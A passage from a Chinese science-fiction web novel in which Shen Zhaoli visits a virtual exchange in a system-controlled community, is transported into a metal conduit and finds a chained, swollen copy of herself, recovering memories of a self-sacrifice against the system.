为了向沈昭黎那得到认可,安宁眼眸放光,喋喋不休:“这是我从系统那挑了好久的,自己也吃了好久,这才拿过来给你的!”
“你居然觉得没有味道?你这实在是暴殄天物!”
沈昭黎望着安宁眼中的那团亮光,又低头看了看餐桌上的混沌,像在认真确认。
然后抬起头,目光清澈却没什么波澜:“和平时吃的三明治,味道一样!”
“怎么会?”
“应该是混沌不合你的胃口,你再试试这些.......” 安宁伸出手,手心里立刻浮现出一叠早餐卡,虚拟卡片上泛着荧光点点,各式各样的卡片应有尽有,系统兑换处里的早餐卡被她换了大半。
“包子如何,皮薄馅多!”她从一堆卡片中,兴奋地抽出一张绘着包子的虚拟卡。
沈昭黎摇了摇头道:“不怎么想吃...碳水太足,看起来不是很健康....”
“那牛奶和土司呢?”安宁蹙眉,又从一大堆虚拟卡片中,埋头翻出一张早餐卡,献宝似的递至沈昭黎面前。
她耐心解释道:“虽然看起来和你的三明治差不多,但这款是牛奶吐司,吃起来带一丝甜味,和你平时吃的全麦吐司不太一样……”
“吃完后我还可以再给你一张鸡蛋卡,这样既美味又健康,你觉得怎么样?”
安宁低头翻找着自己今早才用过的那张鸡蛋卡,心里忍不住嘀咕:“明明早上还在用,怎么突然就不见了!”
“不然你带我去兑换处看看吧?我自己去挑挑?”
安宁闻言,正在翻找的手忽然一愣。
眸中忽然一亮,也顾不上什么鸡蛋鸭蛋卡了,围着沈昭黎雀跃道:“真的?”
“你愿意去积分库了?”
沈昭黎没有作声,只是轻轻点了点头。
安宁见状,顿时眉开眼笑:“我早说你就该这样嘛!跟系统作对怎么可能有好结果?”<
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p>“再说了,积分库里有那么多好东西等着我们,好好享受不就好了?何必非要跟自己过不去呢?
沈昭黎又问:“去那里有什么要求吗?比如需要在特定的时间点?”
安宁摇头,慢慢将手垂了下去,手中的虚拟卡片也随之消失不见,“不用的,兑换物资没有时间限制,任何时候都可以,哪怕是上班时间也行。”
沈昭黎闻言心中暗忖,一向将时间、生活流程视为刻度尺、严苛管理的系统,怎么对这积分库如此放任?
“那我们现在就去?”沈昭黎忽然提起了兴致,倒不是对兑换处里那些资源有多心动,而是这种看似跳脱系统安排的行为,竟让她生出一种难以言喻的快感。
即便说到底,不过是从一个被监管之地,移步至另一处同样受控的场所。
安宁被她这突如其来的积极弄得有些措手不及。
相识这么久,她还是第一次见到沈昭黎如此兴奋。
不过,如果她能这样顺着系统设定走下去,或许也就不必再被送进锈蚀花牢了吧。
想到这,安宁也喜闻乐见。
“好呀!”安宁语气里带着宠溺。
随着安宁的系统指令生效,沈昭黎那间阳光全景房的墙壁开始迅速剥落,如同褪去的幻象。下一秒,两人已置身于一个全息虚拟空间之中。
眼前的积分处与沈昭黎预想中大相径庭。
她原本以为这里会是各种实体物资的堆积处,然而映入眼帘的却是一座巨大的虚拟展柜。
柜内按类别整齐划分,陈列在其中的并非实物,而是一张张样式各异的卡片。
【沈昭黎,恭喜你成功解锁兑换处编码,欢迎您的光临!】
沈昭黎忽然感到眼底闪过一丝异样,那光芒转瞬即逝,快得几乎抓不住痕迹,“什么东西?”
“哦,你说的是兑换处的接口植入成功的闪光吧?”
安宁了然一笑,“那是接口植入成功的证明,因为你之前从没来过,所以无法直接接入。现在你已经来过了,有了兑换处的编码,它的坐标就记录在你的意识里了,下次你就可以自己过来了。”
沈昭黎听完安宁的解释,心中不由对这个未知的领域升起强烈的好奇:“你的意思是,在浮光社区里,任何地方都必须先在我的意识中“存在”,我才能真正进入?”
“嗯……差不多可以这么理解。”安宁略作思索,肯定地点了点头,又若有所思地补充道:“在这里,一切都依赖意识的连接——无论是兑换物品,还是抵达某个地方。”
她继续说道:“就像兑换处,每个人能取出的东西都不一样。有些人能换到的,我可能不行;我能取得的,别人也未必拥有……这一切,都取决于我们各自的‘意识厚度’。”
“比方说,我能够从兑换处换到一间阳光房,但有些人就完全看不到这个选项。我还曾经听说有人兑换过一整座‘海底房’……”
她语气中流露出几分神往,“可我翻遍了兑换库,也找不到它的影子。我想,大概是因为我的意识中没有形成对它的认知吧。”
“那可真是个不可思议的大家伙!”
安宁眸中星光点点,眼中的兴奋之意都快随着眼尾溢出来了:“而且不光是兑换的东西,就是每个人能进入的区域也各有差异”
“所以说,浮光社区真的是个非常广阔、也特别有意思的地方……只可惜,我的意识还远远不够,很多角落都无法触及。”
“不过”
她语气微顿,话锋轻轻一转,转过身来,面向正站在兑换台前的沈昭黎。
9. 异样
“我猜,你的兑换柜里肯定藏着不少我们都没见过的好东西……不然系统怎么会反反复复把你升级了十八次!”
她语气一转,带着几分狡黠与试探,压低声音说道:
“要我说!”
“肯定是你意识里头,装了什么‘不该有’的东西.....”
“点进你的早餐看看?看看你能兑换出什么我没见过的小玩意?”
安宁将她推至全息屏面前,催促她。
跃跃欲试
她一直觉得,沈昭黎那看似迷糊的脑海里,一定藏着许多自己从未见识过的东西。
只可惜,以往几次劝说,她都显得兴趣寥寥。而现在……
“快快!”
安宁催促她,若不是非得的亲手解锁,她恨不得替了她去,更何况她还有能买下半个浮光社区的积分,她羡慕地紧。
沈昭黎望着面前跳动的全息屏,忽然有些紧张,难道她的意识里真的藏着一些不为人知的东西?
她缓缓伸出指尖,朝全息屏按去,轻轻触碰。
页面跳转。
二人睁大眼睛望去。
挪大的虚拟的早餐兑换柜里,只有一张沈昭黎平常吃的三明治卡片,再加上今早安宁给她的混沌卡,再无其他。
空荡荡的兑换柜里只有两张卡片......
“就这些?”
安宁不可置信,她停滞在面前的虚拟兑换柜前。
又疾步上前,顺着虚拟屏幕往右滑了两下,全息兑换柜纹丝不动。
安宁回头瞥了沈昭黎一眼:“本来还以为系统这么‘偏爱’你,是你脑子里真藏了什么惊天动地的东西呢……”
“结果就这点玩意儿,也值得让系统反反复复升级?
沈昭黎摊了摊手,回应道:“不知道啊......”
安宁退出沈昭黎的早餐界面,试图去别的分类看看,同样也是空空如也。
“你这的比我积分库的积分还干净,怪不得你积分多呢,原来是你根本没东西换......”
安宁上下左右将兑换柜全部扒拉了个便,除了最基础的系统物资,什么也没有......
沈昭黎见安宁左右忙活的那样,只觉得滑稽,也往前迈了两步:“没事,我虽然没什么东西,但是积分多,你可以帮我换!”
“既然来都来了,用我的积分将你心仪的那套全景阳光房换了,怎么样?”
“可别!”
安宁从上到下将沈昭黎的兑换柜检查了个遍,真的就是除了基础的系统设置什么都没有。
她都有几个别人没有的东西,结果这家伙居然什么也没有.....
“我才不要呢!”
安宁从地上一跃而起,“我就这么点念想,你要是直接给我满足了,那我不就变得跟你一样,无欲无求了?”
“系统非得警告我异,又不是谁都像你一样......”
“好好好!”,沈昭黎笑着将安宁推至显示屏前,“不然你让我看看你的里面都有什么?”。
说起自己的兑换柜,安宁突然来了兴致,眸子里的笑意都快溢出来了,“那可多了,给你看看我的阳光房,还差7562点积分.....”
掰着手指头计算,“我每天工作积分大概有400点,再加上每日兼职打扫浮光社区的200点,加起来一共600点,大概还缺十天左右......”
“我就可以兑换我的全景阳光房了,到时候我就是你的邻居了!”
安宁又三两下地打开了自己的兑换柜,跟沈昭黎的兑换柜不同。
安宁的柜中,琳琅满目。
什么玫瑰味的镇定剂、钢钛结构的摇椅、以及看起来花里胡哨的小马甲......
而兑换柜最上方,则是兑换进度即将拉满的阳光全景房,下一个则是人形模样长得跟周启一样的,家庭生活机器人。
说实话沈昭黎对这玩意没什么兴趣,但安宁跟她说过她下一个兑换的目标就是他,说她长长的手长长的腿,以及长长的舌头,能帮她在休息的时候拿东西......
沈昭黎不是很能理解,毕竟想拿东西,系统就能做到,要生活机器人的意义在哪?。
“对了,我们今天是来给你换早饭的......”安宁忽然想起来。
听安宁一提醒,沈昭黎身子一怔,突然想起来,她今天是来寻发生器线索的。
她手不自觉的攀到脖颈后面,那个小小的、硬硬的东西仍嵌在她脖颈后。
“安宁,我记得你好像说过,有一种能植入人体的特殊组件?我能看看吗?”
安宁微微一怔,没料到她会突然转变话题,但很快便恢复如常。
依照她对沈昭黎的了解,她这人一向行事跳脱、逻辑难循,根本不能以常理揣度。
便点了点头,乖乖回答道:“是啊,怎么突然问这个?”
沈昭黎目光定定地看向她:“我想看看!”
见她第一次对系统里的东西如此好奇,安宁也不再多语,只是忽然转过身去,将页面调转到兑换柜的零件区。
“你想看哪个?”安宁转过身,又往边上侧了侧,尽量不挡到沈昭黎的视线。
“这些都是?”
沈昭黎看着一应俱全的零件库,上面摆满了各式各样功能的零件卡片,每张卡片都用不同的颜色进行区分,整整齐齐的陈列在兑换柜上。
安宁回答:“是啊!”
“速度卡、体力卡......”安宁一一给她介绍。
每张卡片里的零件都长得一模一样,看不出什么异常。
沈昭黎突然想起来,她好像从未见过她脖子上的发生器的模样。
沈昭黎思索片刻,再次开口:“安宁,你知道有没有什么零件会导致人类视线错乱的发生器?”
“导致视线混乱?”安宁轻声呢喃,重复。
“兑换柜中的所有发生器都经过系统严格验证,旨在为人类提供功能增强,从未出现过导致视线混乱的故障,这种情况……”
“难不成是报废品?需不需要通知系统进行回收处理?”
安宁忽然抬起头问道,抬眸之际,沈昭黎清晰的看到安宁眼中瞳孔微微一滞,仿佛瞬间被某种力量操控般。
一步步机械、麻木地朝沈昭黎走近,语气逐渐开始变得低沉:“你今天是第一次来兑换柜,怎么会接触到报废发生器?”
沈昭黎连忙辩解:“没有没有,我只是……听别人说的。”
安宁瞳孔的颜色深不见底,朝着她步步逼近,“哦.....你听谁说的?”
“你在浮光社区唯一认识的......”
“不是只有我吗?”
“是、是啊!”沈照黎被安宁步步进逼,将她逼至夹缝之中。
她凝视着安宁瞳孔中不知何时浮现的鲜红光环,那跳动的模样与如系统的警示灯如出一辙,心头猛地一紧。
难道……正如她在那些错乱的幻象中所见,浮光社区里的所有人,都早被无形之手操控的机器?
“你在浮光社区唯一认识的......”
“不是只有我吗?”
安宁的身体绷得笔直,一步一步向她靠近。
她的眼神空洞,步伐僵硬,如同一具被无形丝线操控的木偶,每一个动作都透着令人窒息的诡异。
“是、是啊......”她无处闪躲,只能步步后退,望着安宁那张熟悉的面庞。
却如此熟悉又陌生......她想要逃离,却已被逼至角落。
她现在已经完全不能
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判断此刻的安宁究竟是出于对她的好奇。
还是已经被系统彻底操控......
她的脑中飞速运转,拼命搜寻着能够打破此刻僵局的话术。
她现在唯一能做的就是尽快逃离这个局面。
她手掌心后托着虚拟壁垒,步步后退,而眼前的安宁步步紧逼。
就在她几乎退无可退之际,一个深埋于记忆底层的念头骤然闪现。
脑中如同被流星划过一般,巨大的光圈闪的她两眼发昏。
她下意识闭眼,试图去避开那阵晕圈。
却待她再睁开眼时,周围的一切已然天翻地覆。
方才还站在她面前质问的安宁,早已消失得无影无踪。
她呆愣在原地,瞳孔微微收缩,难以置信地注视着眼前的一切......
这不是浮光社区,不是她认知中的任何地方。
空气中弥漫着金属与能量流动的低鸣,幽蓝色的光点如呼吸般明灭,映照出巨大环形结构的冰冷轮廓。
这是系统故障吗……?
她下意识地后退半步,脚跟却撞上坚硬的管壁,发出一声沉闷的轻响,手臂贴着管壁维持平衡,在这片过分寂静的空间里显得格外突兀。
她此刻正站在一个巨型的金属导管内部,两脚正嵌在导管的凹陷区。
四周除了她自己,空无一人。
只有一环环冰冷的金属圆环将她套在其中。
无边无际的黑暗笼罩着一切,只余丝丝点点的蓝色光源和金属反光在黑暗中幽幽闪烁,映照出管道内部的蜿蜒曲折的轮廓。
“安宁?”她环顾四周,颤颤开口,悠长的回音连绵不绝。
“安宁......”
无人回应。
“这是哪?”
沈昭黎下意识地低语,眼睛止不住的1左右环顾。
眼前的突变令她措手不及,浮光社区的传送从来只会将她带往熟悉的区域,而此刻所处的这个地方,却陌生得令人心悸。
她从未踏足于此,难道是系统……擅自带她来的?
系统怎么可能犯这种错误?
安宁呢?这是哪?
她环顾四周,顺着导管的走势往前看去,远处的导管交织成一个幽蓝的黑洞,远远望去,深不见底。
被卡在导管凹陷处实在是别扭,她下意思的轻轻提起脚,凸出来的导管部分迈去。
顺势收回手。
却发现自己手心上不知何时附着着一小块蓝色光源。
“这是什么?”
她抬起手臂,观察着手心上不知何时黏上的一小块蓝色光源,像融化的塑料材质,黏黏糊糊的。
她顺着它自身散发的蓝色幽光望去,蓝蓝的、黏黏的,不时闪着隐隐微光。
有点像唾液......
蓝色、唾液、发光?
一串碎片记忆忽然涌入脑中......
幻境里的唾液!
还有镇定剂!
脑海突然浮起安宁给她的包着试管外壳镇定剂。
那试管里的液体好像也是这个样子的!
难道这个是积分库里兑换的药剂?
她忽然抬起头,打量般的望向导管更深处,一团团粘液如矿石般附着在管壁之上。
尽管光线昏暗,但它们仍隐隐泛着幽蓝的光芒。
她又低头看了看掌心那团东西。
五根手指无意识地搓了搓,那粘液随着它的力道肆意变化形态。
“啊啊啊——!”
一声凄厉的惨叫猛地从管道深处炸开,骤然撕裂了空间的死寂。
沈昭黎被这突如其来的惊变吓得浑身一颤,手指下意识地松开,那团幽蓝的黏液随之滑落,“啪”地一声砸在冰冷的管道上。
10. 气球人
“什么声音?”
沈昭黎声音传来的方向望去,阵阵凄厉的嘶吼声环绕在管道内,但是由于管道实在过于狭长,余音,久久不散。
听那声音传来的方向,应该是在金属管道的尽头。
而沈昭黎肉眼往管道尽头望去,整条金属管道黝黑,深不见底,压根看不见出口在哪里。
在这,系统先前的所有设置好像都不管用。
电子手环上的数字在她刚进入管道时便停止了跳动。
在这里,没了时间的限制、耳旁的警示音也从未再响起,沈昭黎甚至觉得她还有点不太习惯。
“啊——!”
又一声凄厉的嘶吼从管道尽头传来,震荡着管道里冰冷的空气。
沈昭黎猛地捂住耳朵,可那声音却像锥子直直钻入脑髓。
明明是从未听过的音色,却震得她心潮翻涌,泛起一阵说不清、道不明的熟悉。
她的双腿不受控制地向后踉跄,身体不再听从她的使唤,活像一块被同极磁石狠狠弹开的铁,被一股无形的斥力猛地推开,身不由己地向后滑退。
她将手掌心贴在冰冷的管壁上,阻止自己往后退。
潜意识深处涌起一股难以言喻的渴望,拼命地想要向那嘶吼的声音靠近。
身体与意志激烈地对抗、拉扯,两股力量几乎要将她撕裂开来。
她竭力的控制自己不听使唤的双腿,向前迈去。
每一步都像在粘稠的胶水中跋涉,双腿因两种相反指令的撕扯而剧烈颤抖,震的“吱吱”作响。
“这...这是怎么了!”。
她颤抖着双腿,两腿如同支架般打颤。
源自意志最深处的力量取得了上风,强制要求她向前踏出一步,又一步。
她拖拽着拒不合作的躯壳,碾过所有生理性的恐惧与阻碍,坚定不移地、甚至是残忍地,朝着那管道尽头,挪了过去。
“啊啊啊——!”
凄厉的吼声再次传来,忽然唤起了她内心深处的声音。
“沈昭黎,我们会成功的,我们一定会的!”一阵轻柔女声从记忆深处传来。
音色轻柔、甜美,却掷地有声。
闻音便知是个温柔可人儿的少女。
“千千,你别看她,你看看我好不好!”
,
“再这样,我可吃醋了......”
又一阵清澈男音随之而来,声音干净清透,带着一点被水汽滋润过的透亮,分外好听。
二人音色交合,如同潺潺的水流声,清澈、活力。
“切,我才不打扰你们两,我回小屋去!”
“你们两个——”
“都别吃我炒的瓜子!”
又是一阵狡黠的女音,忽然冒出。
与方才甜美秀气的声音截然不同。
虽是仍能听出属于少女的清灵,却又裹着一丝若有若无的痞气,在耳畔不经意地缠绕。
“去去去!”
“小屋里的活都是我干的,而且是我种的向日葵,凭什么我不能吃......”
清澈男音虽是嘴上一阵嫌弃,但仍能听出三人关系分外亲昵。
三个年轻的声音彼此交织,嬉笑打闹间,言笑晏晏。
但如此欢快的声音,对沈昭黎来说,却像是沉重的钟声,一声接一声撞进她的记忆深处,带着苦涩的铜绣味。
“千千,别这样,你会死的!”
忽然间,语境骤变,间夹着“滋滋”的电流噪音。
一阵少年哀求声传来,细听音色,依稀可辨是方才那个少年的嗓音。
只是此时却变得格外嘶哑、沧桑,原先清澈的声音仿佛被铁水灼过喉咙,声声悲怆。
也不知到底经历了何事,竟能将他磋磨至此。
“我在小屋里……给你准备了惊喜……”
一道极其虚弱的声音缓缓响起,气若游丝,仿佛下一秒就要彻底消散。
“不!”
“我们放弃!我们放弃!”少年声嘶力竭,吼叫声划破天际。
“替我守好她......”少女虚弱的话音渐渐散去。
之后,再无声息。
“啊啊啊——”
短暂的记忆回溯后,管道尽头的声音猛然骤起。
管道尽头传来“砰砰砰”锁链撞击地面的声音,一声一声,敲击在钢铁的外壳上,天地震动。
越往管道尽头走,沈昭黎的脚步也开始变重,脚底如同灌了铅般,举步维艰。
而远处传来的嘶吼。
一声一声,震得她的脑子发颤。
一向结实如钢铁般的身体仿佛要被那嘶吼给震裂。
但她仍不停歇,拖着沉重的身体,朝着幽蓝管口前进。
一步!
两步!
三步!
手掌贴着冰冷的管壁慢慢向前蠕动。
就这样,也不知道走了多久。
终于,前方幽蓝的管口颜色开始慢慢变浅,越来越浅,直至发白。
与此接踵而来的,还有逐渐清晰的“咕咚、咕咚”声。
像是某种粘稠的液体正被持续而沉重地输送着,一下接一下,混在凄厉的嘶吼声中。
蓦地,管口的亮光忽然变为白色。
随着逐步逼近,管道尽头里的生物好像也感应到了她的靠近,停止了吼叫。
忽然
沈昭黎感觉到脚底好像被强制泄了力,忽如其来的轻松之感,让她一个失重,跌进了白色霞光中。
强光刺得她睁不开眼。
待她勉强抬起头,试图看清周围时。
一张脸赫然映入她的眼帘。
那人低垂着眼眸,整张脸肿胀得如同被过度充气的气球,将原本的五官扭曲地包裹其中,几乎难以辨认。
肉色的皮肤被撑得发亮,一道道苍白的沟壑自面部中央向外蔓延,直至布满全脸。
几缕稀疏的头发零散地垂落,搭在那圆球般庞大的头颅上,更显出几分诡异与凄凉。
而她的身躯肿胀得近乎球形,仿佛一个被过度填充的皮囊。
身体上的的皮肤也被撑得薄而发亮,透出一种不自然的白色光泽。
白色沟壑从面部蔓延至脖颈,最终遍布全身。
使得这具人形躯体看起来更像是一件行将破裂的劣质充气玩偶,一扎即破。
那人瘫坐在一片狼藉之中,成千上万根导管深深插入她肿胀的身体,臃肿的身体,被当成了装液体的容器。
而那些导管正在“咕咚、咕咚”地,继续往她身体里无休止的灌输着蓝色液体,尽管她的身体显然已逼近承受极限。
身体皮肤绷紧得发亮,多处导管接口处还不断渗出黏腻的蓝色液珠。
汇成细流滑落,在地面蔓延开一片幽蓝而粘稠的沼泽。
而她身体四周,散落着大大小小不同颜色的试剂,她蹲坐在其中,宛如一个实验品。
她的四肢与脖颈被一道沉重的铁链死死禁锢。
由于身体过度肿胀,铁链深深嵌入皮肉之中,被勒紧的部位完全被浮肿的皮肉填满,几乎看不到链条本身的轮廓。
“你——”
那气球人的人脸此刻正对着自己。
沈昭黎踉跄后退,身体“哐”的一声狠狠砸在管道的钢铁外壳上。
巨大的撞击,使整个钢铁管道为之一振,尾音连绵不绝。
与此一同反应的还有面前人的眼睛。
她积压在脸庞中间的眼睛,轻微地颤了颤。
试图去看清楚来人,但却由于脸庞的积压,只能看清三分之一的视线。
“你....“
“你终于来了......”她缓缓开口。
由于视线大半个都被遮住,只能使她看到来人的双脚。
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但能来此处的。
除了“她”,再无别人。
听到那人气若游丝的低语,沈昭黎扬头看了她一眼。
那人镶嵌眼睛的区域微颤,勉强挤出一条缝隙,缝隙中露出一小部分被重重挤压的眼球。
她连眼睛都无法完全睁开,怎能认出来人?
而且她那意思,是在等她?
沈昭黎身子试探地向前倾了倾,连珠炮似的讯问道:“你能看到我?”
“你知道我是谁?”
“你在等我?”
那人停顿了半晌。
“是.....”气若游丝的回答了一个字。
那气球人奇怪的行为举止,让她摸不着头脑。
她又问道:“你等我干什么?”
问完以后,开始在脑中地毯式地搜寻此人的记忆。
不知道是她的五官已经被挤得完全模糊,认不清此人,还是她压根就没见过这人。
她完全不记得她见过她。
“我.....”
“等你救我...”那气球人虽行动不便,五官功能已近乎完全退化,感知世界的方式只剩下一片混沌的黑暗与无声。
万幸的是,她还能说话。
面对沈昭黎的追问,尽管只能用简短的字节回应,她却仍答得无比认真。
每一个字,都像是从残存的意识深处竭力挤出的回响。
脑海里浮起她说话的声音,她总感觉这人说话声音有点耳熟,感觉自己好像在哪听到过。
“我为什么要救你?”沈昭黎视线再次落在她凹陷的面中。
那人脸上掠过一丝苦笑,可面庞过于浮肿,竟牵不动丝毫弧度。
“脖.....脖子.....”
“脖子?”
沈昭黎闻言,忽然拂上自己的脖颈。
她的脖子怎么了?
脖子上什么也没有啊,除了.......
除了那块发生器......
她瞳孔骤亮。
沈昭黎不自觉的往后退了退。
然后上下打量了她一眼,又觉得她都已经这样了,能将她如何?
“你说......这个?”
干脆也不再躲闪,偏了偏头,坦然地露出脖子上那块黝黑发亮的发生器。
心中暗忖,她怎么知道自己脖子上有这个玩意?
“嗯......”那气球般肿胀的人影发出一声回应,气息微弱。
可她听得出来,对方正用尽全身残存的力气,试图给她一个回答。
“按......”
沈昭黎自从刚才摔了一跤,便蹲坐在了地上。
又与这气球人一顿攀谈。
虽然她造型很奇怪,但是她能感觉出来,她对她没有恶意。
干脆一屁股坐在地上,与她相视而坐。
“按这个?”沈昭黎质疑。
“嗯......”
沈昭黎的手指攀上脖子间的发生器,指腹停留发生器的松动区域,
虽然她感觉,自从自己有了这个东西以后,怪事一桩接一桩。
甚至上次按了它以后,看到的是真实还是虚幻
到现在都还没搞明白,还平白丢了大段记忆......
她视线忽然落在面前气球人被脸庞挤压到看不清五官的脸上。
自己真要按她说的做吗?
自己与她素不相识?
可不知为何,她却对眼前这人感到一种难以言喻的亲近,心底毫无保留的想向她靠近,甚至超越了相识已久的安宁......
“咔擦”一声,脖颈间再次发出“机械转动的声音。
一瞬间,熟悉的电流感从它的脖颈处蹿了上来,直冲她的颅内。
她的心,无条件听她的......
她轻闭上眼,老实巴交的坐在蓝色粘液中,等待着。
11. 你想离开吗?
即使她已经做好了面对睁开眼的狂风暴雨。
再睁开眼,看到眼前的一切时,她还是怔在了原地。
她望着与自己相视而坐的那张脸。
因肿胀而模糊一团的五官,此刻逐渐变得明朗、清晰。
浮肿逐渐消退,原本被埋没的轮廓重新显现,将那张深藏于肥肉之下的脸庞一点点显露在她的面前。
这张脸,她见过。
而且她日日都见......
——是每天早上,镜子中的自己。
沈昭黎怔坐在原地,二人相视而坐。
两张一模一样的脸,四只瞳孔相对,仿佛在照镜子......
沈昭黎愣坐在原地,半天说不出话来。
她不知道说些什么.....
她在脑海中幻想过一切可能浮现在浮肿后面的人脸,可能是有过一面之缘的锈蚀花牢的管理员......
可能是晚间娱乐节目主持人——周启。
甚至是她最好的朋友——安宁。
却没想到。
那个人,是她自己......
她自己是气球人?
她脑海中忽然浮现出,见到她时她说的第一句话。
那句虚弱却又异常清晰的话:“你终于来了……”
紧接着,安宁的声音忽然在脑子里回响——“在这里,一切都依赖意识的连接,无论是兑换物品,还是抵达某个地方……”
她骤然醒悟。
所有她刚才并非“见到”了她,才认出她来的。
而是这里本就只有她能够进来。
因为她自己的意识是进入这里的唯一钥匙......
她呆愣的坐在地上,两眼空洞的打量面前的熟悉又陌生的脸。
与她每天早上在镜子里看到的自己一模一样。
但又好像有着那么一丝不同。
冰冷的金属墙壁在故障灯的闪烁下忽明忽暗,映照着面前这个似她非她的轮廓。
沈昭黎感觉自己的呼吸停滞,一种源自灵魂深处的大手死死攫住她,不让她离开。
“你…是谁?”
她的声音干涩得几乎不成调,仍不可置信的开口:“你为什么…会在这里?”
回应她的是一阵沉默,四周一片寂静,只有淅淅沥沥的液体滴落和蓝色粘液猛猛往体内灌的“咕咚”声。
她的视线落在对面的那张脸上,许久。
对面的“她”,身体开始微微颤动。
一个破碎不堪的声音被艰难挤出,仿佛来自深渊的回响:
“我就是你…”
“是被‘你’自己…锁在这里的,你又不记得了吗?”
“是被‘你’自己…锁在这里的”,这几个字像一把生锈的钥匙,猛地捅进了她记忆最深处的锁孔。
轰!
颅内的记忆瞬间炸开,部分熙熙攘攘的记忆碎片开始直往她颅内罐去。
动作生硬、强制,容不得她有半丝反抗。
粗鲁的动作仿佛在控诉她对“自己”所作的所有恶行......
数量之大、动作之生猛。
如湍急的瀑布般直往她颅内灌。
忽然起来的记忆如同洪水猛兽,冲击她的身体和大脑,她摇摇欲坠。
只得踉跄着扶住沾满粘液的地面,尽力去维持着身体的平衡。
眼前的视野开始模糊、旋转,却又在下一秒被强行灌入无数清晰的画面。
穿着灰色工作服的她站在庞大的控制台前,手指飞快地输入最终指令。
她亲手将幽蓝色的能源管线,一根接一根,刺入自己背后的脊椎接口。
系统冰冷的警告声疯狂叫嚣,红色的警报灯将她苍白的脸映得如同染血。
她最后看了一眼外部世界尚存的微光,然后,亲手启动了为自己所驻的“牢笼”。
金属舱门在她面前重重落下,发出绝望的轰响,将她与光明、与自由、与那个真实的自己彻底隔绝。
这一切的牺牲,只为了一个信念。
“……为了所谓的所有人。”
她无意识地重复着这句话,每一个字都裹挟着记忆的碎玻璃,震得她说不出话来。
没有陌生的迫害者,也没有无缘无故的囚禁。
施加这份永恒孤独的刽子手,正是她自己。
选择承受这份无尽痛苦的殉道者,也是她自己。
她将自己献祭于此,化作一枚卡在系统齿轮中的血肉炸弹,只为阻挡那冰冷意志吞噬所有人的自由。
【警告:核心记忆屏障严重损坏!】
【稳定性临界峰值!】
【请求立即修复……】
闪烁着灯光的警示器在狭窄的管道内响起,猩红跳动的光源扫过她的脸。
她已再无迷茫,只剩下一种近乎残酷的清醒。
她缓缓抬起头,目光再次望向,那个与自己面对面,正在缓慢枯萎、承受着所有痛苦的“自己”。
二人的目光在轰鸣与闪烁中交汇。
一个是挣扎求存、一度遗忘的“现在”,一个是承担代价、坚守誓言的“过去”。
都是她自己......沈昭黎。
发生器的作用时间极为短暂。
方才那个清晰、年轻的轮廓如同被水浸没,迅速模糊扭曲,再度被肿胀非人的形态吞噬。
沈昭黎眼睁睁看着“自己”重新变回那个被管线刺穿、在幽蓝液体中艰难喘息的气球人。
剧烈的情感猛地冲上她的鼻腔,心中仿佛被压了一块巨石。
她不知道为什么要为了那些甚至不认识她、永远不会知道她存在的人,承受这永无止境的痛苦?
为什么要为了一个虚无缥缈的“所有人”,亲手将自己摧毁成这副模样,囚禁在这永恒的金属地狱里?
记忆如潮水般涌来。
她原是系统的高层管理者,却为了不让世界完全被系统取代,以身躯为炸药,将她自己锁死在高层管道深处,誓要对抗系统的完全掌控,用自己的存在逼迫系统停下脚步。
她亲手将自己的生命信号已与世界底层架构紧密缠绕。
系统无法清除她。
她若消亡,整个系统亦将崩塌。
于是没有办法,只能将她的意识切割成碎片,分散囚禁于无数维度,持续清洗她的记忆,企图让她永远迷失。
她与系统深度绑定,她若彻底消亡,整个世界亦随之崩塌。
因此系统只能一边容忍她所有疯狂,一边竭力清洗她的记忆…
但这一次,她看着眼前这个承受着所有痛苦的自己。
沈昭黎心中涌起一个前所未有的念头——她不想再救什么所有人了。
这一次,她想要救她自己......
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“你......在这多久了?”
她缓缓抬眼,注视着面前的人。
“不...不知道”被挤压在脸庞下的嘴巴,缓缓颤动,倘若不细看,压根看不到嘴角的起伏的痕迹。
“你.....你”
她目光闪躲,甚至不敢去看那已经被隐藏地只剩下一条缝的眼睛。
“你....想离开吗?”
话毕,沈昭黎沉默
远看二人只是相视而坐,皆不语也不动。
但微弱的幅度仍被她感知。
她的双眼如同两台精密的成像仪器,任何细微的变化都难以逃脱她的捕捉。
她分明感受到了那被挤在脸庞里的瞳孔,微弱一闪,庞大的身躯微微轻颤。
尽管肉眼看来它根本不值一提,但她知道,“她”很激动。
“可...可以吗?”声音满是不可置信,混着三分的期冀。
她从未想过,她自己会放“她”离开。
这么多年,她从未有过恻隐之心......
沈昭黎看着那挤在缝中隐隐闪烁的微光,心中如被重锤敲打。
她沉思片刻,终于,做了最后的决定。
这次,她要救自己。
“我带你走!”
她从粘稠的蓝色水泊中,一跃而起,试图去扯掉她身上的试管。
“滴——”
程序警报音响起。
【身份确认:沈昭黎】
【指令识别:生命体转移请求】
【开始验证最高权限密钥……】
冰冷的提示音在管道中回荡,没有情感,只有绝对的逻辑。
【警告:意识残缺,验证失败】
【风险判定:检测到非法携带核心禁锢物逃离意图】
【依据初始协议第零条:自动除非监禁模式】
“不——”
突如其来的惩罚,将沈昭黎所有企图全部打散。
她怎么也没想到,以前的“自己”是这般决绝。
她的惊呼被骤然爆发的机械轰鸣吞没。
粗重的锁链如同被注入了铁水,发出令人不适的金属摩擦声。
猛地向内收缩、增粗!
原本就已深陷皮肉的链条此刻几乎要碾碎她的骨骼,牢牢地将那具膨大的躯体钉死在原处。
四周管道壁上连接的无数导管骤然亮起幽蓝的光芒,能量液被加速泵入,以近乎残酷的效率持续灌输进那早已不堪重负的身体。
“啊——”
躯体以肉眼可见的速度进一步肿胀,痛苦的喘息变成了撕裂般的吼叫声。
她眼睁睁看着“自己”的身体,因她的失败而承受更多,来自自己的“恶行”。
惩罚,因她而起。
管制,由她施加。
她试图拯救,却反而触发了自己当年设下的、最冷酷的保险机制。
程序冰冷的声音如同最终审判,回荡在警报光芒中:
【进程加速启动】
沈昭黎踉跄着后退,望着那个在锁链与能量中挣扎的“自己”,一股前所未有的情感席卷了她。
她对抗系统,却被迫面对自己留下的枷锁。
她想要救赎,却亲手给“自己”带来了更深的毁灭。
蓦地
“咔嚓——!”
什么东西碎了?